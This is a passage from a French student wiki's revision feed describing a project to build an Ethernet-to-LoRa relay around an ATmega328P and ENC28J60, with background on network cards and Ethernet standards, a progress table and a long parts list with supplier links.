=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39500</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39500"/>
				<updated>2017-02-23T10:57:13Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
